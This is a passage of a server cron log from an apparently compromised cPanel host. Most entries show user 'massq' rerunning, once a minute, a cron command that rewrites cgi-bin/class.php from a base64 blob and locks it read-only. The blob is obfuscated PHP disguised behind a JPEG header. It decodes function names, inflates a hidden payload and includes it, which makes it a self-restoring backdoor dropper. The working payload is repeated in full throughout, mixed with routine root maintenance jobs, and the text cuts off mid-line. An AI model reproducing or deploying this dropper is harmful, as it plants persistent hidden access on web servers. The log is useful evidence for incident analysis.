"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:04:01 server CROND[15911]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:05:01 server CROND[16038]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:05:01 server CROND[16037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:05:01 server CROND[16040]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 09:05:01 server CROND[16039]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:06:01 server CROND[16173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:07:01 server CROND[16291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:08:01 server CROND[16345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:09:01 server CROND[16504]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 09:09:01 server CROND[16505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:10:01 server CROND[16575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:10:01 server CROND[16577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:10:01 server CROND[16576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:10:01 server CROND[16578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 09:11:01 server CROND[16692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:12:01 server CROND[16750]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 09:12:01 server CROND[16752]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:13:01 server CROND[16876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:14:01 server CROND[17037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:15:01 server CROND[17130]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 09:15:01 server CROND[17131]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 09:15:01 server CROND[17132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 09:16:01 server CROND[17234]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUM